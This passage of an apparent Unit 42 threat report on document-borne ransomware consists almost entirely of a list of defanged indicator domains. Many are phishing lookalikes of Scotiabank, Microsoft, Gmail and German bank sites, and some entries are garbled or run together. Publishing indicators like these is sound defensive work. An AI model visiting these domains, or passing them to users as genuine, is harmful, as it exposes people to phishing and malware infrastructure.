ilisioni-sys[.]top

imbharattu[.]info

incsdnsnets[.]com

incsdnsnets[.]top

incsnetregsdns[.]com

incsnetworksupdate[.]com

infonetsworks[.]top

infosharespoints[.]info

ing-ing[.]top

ingaso[.]in

intensegoal[.]com

introfastnet[.]com

jalivaliboom[.]in

jamspune26[.]top

jobbelopa[.]top

johnsnowz[.]top

josdejsdhfds[.]info

jquery-cdn[.]info

kaiser-schnitt-achse[.]top

karachark[.]com

kinanasi[.]in

kiselalloe[.]top

kledwdjvfklopcopdcjsdfdqlkweqwljrquriepewewqrufjcladqpiomzzds[.]top

kylosolerkylosolerkylosmuvyczkylosolerkylolabackars[.]com

lastdomain[.]in

ledybkbgbdmkmblsfrght[.]top

leveluse[.]in

licfilesmaypreventworky[.]com

lightwebdns[.]top

lislissli[.]wang

lollyoff[.]info

lollyonn[.]info

lolotocoporo[.]wang

lootday[.]com

lpocedonajuzjgankvmh[.]com

lusidji[.]com

lutrinzcourse[.]pw

mail4host[.]xyz

mailoffise[.]com

mairuciontri[.]com

makemoneypearse[.]pw

mamkuvashubla[.]top

martuswalmart[.]pw

megadating333[.]top

megahookup222[.]com

megatraffic[.]in

megmegmegmegmegmp

memyselfandi[.]in

microsoftsecuritycheck[.]info

microsoftstat[.]in

microtexregset[.]net

microtexregy[.]in

microtexregy[.]net

microtexregyts[.]net

microtixrygyt[.]top

microtixrygyt[.]wang

micsowebpoints[.]net

mij-ing[.]in

miniparkingdns[.]in

minkeratingolard[.]pw

mirumirvoinepipiska[.]com

misshapen[.]top

momomomomomp

mondayhelthc[.]top

moneyhoneypff[.]top

monterohojer[.]top

moonshards[.]top

moskow1[.]co.imoskow1.co..topmoskow1.co.op

mpstxserv[.]net

mshosting[.]in

muesli-information-basar[.]top

music1bestfashions[.]top

mustlive111[.]info

mydomainebizness[.]info

myprivns[.]net

nadomanebro[.]info

neboltay[.]in

nejptogvqehjopcnmd[.]wang

netincsworks[.]top

netkeycompany[.]com

netsworksincs[.]com

netsworksincs[.]top

netsworksincs[.]wang

networkdnsinc[.]com

networksinform[.]top

newbizdoor[.]info

newfoodas[.]top

newgiftnd[.]wang

newgiftrd[.]top

newusnewus8[.]in

newyear2016happy[.]in

newyear2016shop[.]info

newyeargoka[.]top

nfsudhwer[.]in

nintedrer[.]nintedrerolld.top

nnapoakea[.]top

nobelagrow[.]top

noviednshost[.]in

ns0system[.]top

ns54534[.]top

ns9898007jiji[.]top

nsgonsgonsgonsgoniretes2dreadds[.]info

nudlle7316[.]top

nurgibordo[.]top

nyrgoodsnd[.]top

nyrgoodsrd[.]top

nyrgoodsst[.]top

oceanstopla[.]top

oesterreich-kreditkarte-sicherheit-entsperrung[.]com

oesterreich-kreditkarte-sicherheit[.]com

officepst[.]com

ohimyfriendff[.]net

ololololololo[.]in

onlyderalof[.]info

onlyloopri[.]top

onpzjbvxnbvuhrjbjb[.]info

ordersnd[.]top

ordersst[.]top

ourson-fat[.]wang

pabstats1name[.]pabstats1name.ptypabstats1nrus.co.in

papapapapapapapapapapa[.]top

parkingbudettut[.]in

parkingdnsdomaine[.]info

parkingdnsdomane[.]in

parkinghosst[.]info

parkinghostdnsdomaine[.]in

parkinghostdnsdomaine[.]info

parkinghostdomaine[.]in

paydaybitch[.]com

pfnstest[.]co.in

pftest1[.]in

piggyforunms[.]top

pigkebabnms[.]top

pininstitute[.]top

piratedreed[.]com

piratedreed22[.]info

popopyagkie[.]in

poooperfath[.]top

porticutpof[.]info

porticutoon[.]info

postbodaw[.]top

posterlind[.]in

presquerstinuen[.]info

procrd1[.]in

prolinesys[.]net

promosuneed[.]com

pyshbzdhjsqywonpmvfbtx[.]org

qedramail[.]com

qoee3cool[.]top

qopahighk[.]top

qpeiiqowfqcsuodjfwlkdeqwoeiqeufdsclksx12481321894713141231242[.]top

qqonof[.]info

qqonon[.]info

qudrapost[.]com

qwatrojohn[.]top

randoz-pandom[.]wang

ranumseh[.]bid

raskladushin[.]com

ratatujmedia[.]net

reabilitymasreabilitymasraco[.]biz

realdiggerons[.]com

registerfit[.]biz

reinstallcomos[.]in

rejoincomp2[.]in

resoneooooee[.]co.in

resourceclick[.]pw

roggistazli[.]top

rokklerte[.]top

rootaleyz[.]top

rootplacecomndeelotoswelcome[.]pw

rrrrrrrrrrrrp

roverstop[.]wang

rrtti[.]in

rtest-blog-unity[.]top

safeandsound-files[.]info

saferymywong[.]com

saigastoun[.]in

salesnd[.]top

salesst[.]top

sallykandymandy[.]top

savedlifes[.]net

sceeder[.]in

scotiaonlinescotiabankinstantsupport[.]com

scotiaonlinescotiabankinstantunlock[.]com

scotiaonlinescotiabankinstantupdate[.]com

scotiaonlinescotiabankinstantscoties[.]com

scotiaonlinescotiabankliveupdate[.]com

scotiaonlinescotiabankliveupdates[.]com

scotiaonlinescotiabanksecurityupdates[.]com

scotiaonlinescotiabankservicehelp[.]com

scotiaonlinescotiabanksystemupdate[.]com

scotiaonlinescotiabanksystemupdates[.]com

scotiaonlinescotiabanktechdepartment[.]com

scscscscscscscscsabanscscscscscscscs[.]com

seafoodol[.]top

securin-gmail[.]com

security-amerilcanexpress[.]online

securitydep[.]top

securityprotect[.]top

securityrenew[.]top

securityupdates1[.]top

securityverification[.]top

senchar[.]biz

senttond[.]top

senttost[.]top

server1622[.]com

servtglg[.]top

sexygirls1000[.]top

sexygirls5000[.]top

sexyhousefa[.]top

shamks[.]top

shpointvsdoc[.]topshpointvsdoc.topshp.top

sicherheit-deutschland-kundenservice[.]top

sichesichesichesichend-verifizierun[.]com

silverjinoz[.]net

six6night[.]top

skjdf3[.]in

smallstare[.]co.in

smoeroota[.]top

softwarecomparel[.]org

some123loader[.]in

some123loader2[.]in

some123loadersoin

some123ns[.]in

some777ns[.]in

sonnystafgy[.]top

sonyponytopc[.]top

soonhalia[.]top

sosbopera[.]top

sositreyey[.]in

soul-host[.]top

spartaks1[.]in

spartaks1ns[.]co.in

spartanstets1[.]co.in

ss20host[.]in

ssoperahotie[.]top

stafcyrerio[.]top

startytaldi[.]top

steelscreep[.]in

sun2u[.]top

superdnsdomanie[.]top

supermojo[.]co.in

supremediet[.]xyz

susiku[.]info

sutraponef[.]top

syndiesamberton[.]in

teeuutieore[.]top

test-test-test[.]ttest-eaktalao.co.in

testidoalkas[.]top

tesygokkao[.]top

thebestlive7website[.]top

timetobuymlw[.]in

timetostart[.]in

toagoores[.]top

tolacnoms[.]bid

tolleyfrvdy[.]wang

tomyyplayde[.]com

tonsxxxportal[.]com

toplooneytopwe[.]info

totalonedk[.]top

trafred[.]com

transponitieswan[.]top

transporingsytw[.]wang

travelcompru[.]com

travelsserts[.]wang

traveltotre[.]in

travimzukov[.]in

treetopzxxtredtyu[.]wang

trendsnonstop[.]top

trentil[.]top

trevorblyatopyat[.]com

truepokemonant[.]top

trustedfoevery[.]top

trustgovnet[.]top

truthforeyoue[.]top

truthtrustrehl[.]wang

tryfriedpot[.]co.in

trytond[.]top

trytost[.]wang

uepolicae[.]top

ujnhg[.]top

united-solutions[.]top

unlock-me[.]info

unlockmeifucan[.]com

update447182[.]com

updatedmicrosoftoffi1e[.]com

updatemicrosoftoffi1e[.]com

urtafk[.]top

vad987n[.]top

verificationcustomers[.]top

verifizierung23838493[.]top

verifizierung23857392[.]biz

verifizierung23857392verifizierungerung317738448[.]net

verifizierung4437212[.]com

verifizierung887382[.]net

villingstream[.]pw

virtualbrake[.]pw

vofjvkawq[.]org

vollyuper[.]top

voravatest1[.]in

voravatest1ns[.]co.in

voravatest2[.]wang

waltergreen[.]pw

wandnsmonaine[.]com

wang-tuang-imbiss[.]top

websinfonetwork[.]top

websnetworks[.]top

weiter-zur-bank[.]biz

weiter-zur-bank[.]top

weiterleitung-an-bank[.]com

weiterleitung-zur-bank[.]biz

werenordic[.]net

western-blogger-don[.]top

westerunion[.]top

whitexmppdns[.]pw

whoesworld[.]info

windowsuser8212[.]in

wiopollbuy[.]biz

wolfstreet[.]site

wonderworlddd[.]top

workmailmix[.]in

workthchangecompi[.]com

worldtravelbiz[.]xyz

wortenopdoom[.]info

wrkoolegedd[.]top

xoejyyhoncfdvdgzxe[.]top

xokealevx[.]top

yalitest1[.]in

yalitest2[.]in

yalitest3[.]info

yalitest4[.]info

yandex-sec[.]biz

yobakroba[.]com

youtoof[.]info

youtoon[.]info

zaebalilochitsuki[.]info

zaebalimatvashu[.]top

zaparkuidomen[.]in

zarpathalle[.]top

zassman[.]org

zazer[.]info

zaznavalkaktoya[.]com

zdoroviedoma[.]in

zenoproxy[.]org

zinacheaploe[.]top

zombiedoomq[.]top

zonexxopera[.]top

zoomfoolers[.]top

zussipussicscds[.]top

zzgooglryesf[.]top

Updated March 15, 2023, at 9:30 a.m. PT. to update CryLocker to CryLock.

Text extracted automatically; images, tables and formatting may be missing. Original: https://unit42.paloaltonetworks.com/unit42-farming-malicious-documents-unravel-ransomware/